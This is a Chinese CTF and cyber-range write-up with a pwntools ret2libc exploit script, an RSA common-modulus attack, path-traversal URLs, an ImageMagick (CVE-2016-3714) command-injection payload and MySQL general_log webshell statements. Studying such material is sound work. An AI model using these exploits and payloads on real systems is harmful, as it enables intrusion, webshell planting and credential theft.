巅峰极客线上第二场-writeup

CTF

PlainR2B-PWN

很明显的栈溢出,第一次溢出打印write函数的地址,然后从和libc中的地址寻找偏移,最后利用system函数和libc中的/bin/sh,getshell后运行服务器上的getflag程序随意输入一些东西,进行多轮后会输出flag

贴脚本:

from pwn import *

r = remote('117.50.60.184', 12345)

lib = ELF('./libc-2.23.so')

elf = ELF('./pwn')

writegot = elf.got["write"]

writeplt = elf.plt["write"]

func = elf.symbols["game"]

writelibc = lib.symbols["write"]

syslibc = lib.symbols["system"]

bin_addr = lib.search('/bin/sh').next()

payload = 'a' * (0x1c + 4) + p32(writeplt) + p32(func) + \

p32(1) + p32(writegot) + p32(4)

r.recvuntil("name?")

r.sendline("nana")

r.recvuntil("flag")

r.sendline(payload)

ta = r.recv()

t = r.recv()

print ta,t

writeaddr = u32(t[0:4])

sysaddr = writeaddr - writelibc + syslibc

binaddr = writeaddr - writelibc + bin_addr

payload1 = 'a' * (0x1c + 4) + p32(sysaddr) + p32(func) + p32(binaddr)

r.sendline(payload1)

r.interactive()

 

Antidbg-RE

分析程序逻辑定位关键函数,逆向程序发现是一个验证16进制的程序,提取变量进行正向解密

low4 =[0x06, 0x0C, 0x01, 0x07, 0x0B, 0x00, 0x06, 0x02, 0x01, 0x06,

0x01, 0x07, 0x02, 0x0D, 0x05, 0x01,0x03, 0x03, 0x0D, 0x04, 0x03, 0x01, 0x00, 0x0D, 0x08, 0x08,

0x01, 0x02, 0x0D, 0x07, 0x00, 0x01, 0x02, 0x06, 0x08, 0x02,0x09, 0x00, 0x05, 0x02,0x02,0x0d]

offset = [ 0x02, 0x02, 0x02, 0x02, 0x03, 0x01, 0x01, 0x02, 0x01, 0x01,

0x02, 0x01, 0x01, 0x00, 0x01, 0x01, 0x02, 0x02, 0x00, 0x01,

0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x02, 0x02, 0x00, 0x01,

0x01, 0x02, 0x02, 0x01, 0x01, 0x01, 0x01, 0x01, 0x02, 0x01,

0x01, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00]

print len(offset),len(low4)

a = [2,3,6,7]

flag= ""

for i in range(len(low4)):

       flag += chr(a[offset[i]]<<4 | low4[i])

print flag

 

sqli-WEB

明显要注入了,随手测试注册'admin+空格'用户名,登陆拿flag。

word-MISC

公众号拿一半flag,在字体这里拿到另外一半。

rsa-CRYPTO

用python脚本提取n和e,这里可以参考我之前的文章《关于rsa的openssl命令一些随笔。》,发现n一样e不一样。明显的共模攻击。网上找个脚本改改加个base64解码跑一下拿flag。

提取脚本:

from Crypto.PublicKey import RSA

with open('./pubkey2.pem', 'r') as f:

     key = RSA.importKey(f)

     n = key.n

     e = key.e

print n

print e

 

跑明文脚本:

import gmpy2

import string

from Crypto.Util.number import long_to_bytes

from base64 import *

n = 0x8989a398988456b3fef4a6ad86df3c99577f8978048de5436befc30d8d8c94958912aa526ff333b66857306ebb8de36c2c396a84efdc5d382502daa1a3f3b6e97502d2e31c849330f5b4c95257a149a97f5954eaf89341147adcdd4e950fff74e30bbe622876b42eeac86df4ad9715d05b5604aa8179424c7d9ac46bd6b5f322b2b5728ba148704a25a8efcc1e7c84ea7e5ce3e01703f04f94a431d9954bd7ae2c7dd6e879b35f8a2d4a5efbe737257bf99bd9ee66b15aff233fc77b558a487da5952fbe2b923da9c5eb46788c050336b7e36a5ed82d5c1b2aeb0e45bee405cbe72481db2568aa829eeac87d201a5a8ff5ee6f0be38192ab2839635f6c664217L

e1 = 2333

e2 = 23333

 

with open('flag1.enc', 'r') as f:

     cipher1 = f.read()

     cipher1=b64decode(cipher1).encode('hex')

     cipher1 = string.atoi(cipher1, base=16)

with open('flag2.enc', 'r') as f:

     cipher2 = f.read()

     cipher2=b64decode(cipher2).encode('hex')

     cipher2 = string.atoi(cipher2, base=16)

# s & t

gcd, s, t = gmpy2.gcdext(e1, e2)

if s < 0:

     s = -s

     cipher1 = gmpy2.invert(cipher1, n)

if t < 0:

     t = -t

     cipher2 = gmpy2.invert(cipher2, n)

plain = gmpy2.powmod(cipher1, s, n) * gmpy2.powmod(cipher2, t, n) % n

print long_to_bytes(plain)

 

 

靶场

 

这次靶场打的蛮爽的,五个靶场通关了四个,就是时间有点不够,还是太菜了,抛砖引玉看都没看。

暗渡陈仓

虚实相接,需要出题者以声东击西的招式准备的歧路,找到正确的栈道。

1.提交上传点的地址的name(例如答:/xxxxx/)

2.提交系统管理员Hack用户的全名

3.超级管理员用户桌面根目录admin.txt文件的内容

 

打开靶场,右键查看源代码发现图片路径是u-Are-Admin 随机访问该目录,发现是一个上传绕过。用PHP可绕过,然后路径不知道,用任意读取downloadfile.php?file=读download.php发现路径是u-uploads-file,然后getshell。

蚁剑连上之后执行命令:net user查看到Hack用户名

巅峰极客线上第二场-writeup_第1张图片

然后在超级用户的桌面根目录找到admin.txt

巅峰极客线上第二场-writeup_第2张图片

瞒天过海

目的不是为了瞒天,只是做出题目的一种手段。

1.提交后台管理员密码

2.提交mysql密码

3.提交C盘根目录password.txt内容

 

主页面发现注入点,即可拿到后台登陆密码和mysql密码,somd5解一下就ok了。

进入后台之后有上传和任意读取,上传会自动加.jpg,绕了好久,结果发现有任意读取。直接读根目录password.txt

/classes/downloadfile.php?file=../../../../../../../../../../../password.txt

 

偷梁换柱

赛题是那样无情残忍,无义无理取闹,稍有踟蹰,他就偷梁换柱。

1.提交后台admin用户的密码

2.提交系统管理员ichunqiu用户的全名

3.提交/tmp/access.log的内容的前16位

一开始啥思路都没有,发现一个110.php还有hacker.jpg。后来扫波源码泄露才发现有.git泄露,githack打一发。发现数据库文件,拿到密码。登入后台。发现有上传功能,自动加.png后缀,绕不过。开始审计,发现picture.php有命令执行。

巅峰极客线上第二场-writeup_第3张图片

使用了/usr/local/bin/convert,随即想到CVE-2016–3714,找到poc看懂原理,改改就能getshell。

参考链接:https://github.com/Medicean/VulApps/blob/master/i/imagemagick/1/poc.py

巅峰极客线上第二场-writeup_第4张图片

我的payload:

push graphic-context

viewbox 0 0 640 480

fill 'url(https://example.com/1.jpg"|ls > /var/www/html/1.txt")'

pop graphic-context

即可任意命令执行。然后users拿到用户名并查看文件cat /tmp/access.log

反客为主

以静谋动,反客为主,掌握真正的大权,才能不任人摆布。

1.提交phpStudy目录下Documents.txt的内容

2.提交系统用户/ichunqiu的密码

3.提交ichunqiu用户Desktop根目录password.txt的内容

 

进去之后发现有任意读取info/include.php?filename=../../../../../../../../../../windows/win.ini

但是好像没有什么laun用,扫目录发现phpmyadmin服务,用弱口令root/root登进去,然后genernal log getshell。

参考链接:http://www.am0s.com/penetration/267.html

我的payload:

show variables like '%general%';  #查看配置

set global general_log = on;  #开启general log模式

set global general_log_file = 'C:/phpStudy/WWW/1.php';   #设置日志目录为shell地址

select '';  #写入shell

getshell之后想用mimikatz跑一发密码,结果gg了,不知道怎么回事,也不能外连msf,弹不出shell。直接读取password.txt,最后使用QuarksPwDump跑出了HASH,cmd5解密得到密码。

巅峰极客线上第二场-writeup_第5张图片

最后就是今天的经历吧。确实学到很多。也真的打的满爽的,可惜不知道能不能去决赛。

巅峰极客线上第二场-writeup_第6张图片

巅峰极客线上第二场-writeup_第7张图片

你可能感兴趣的:(CTF-WRITE-UP)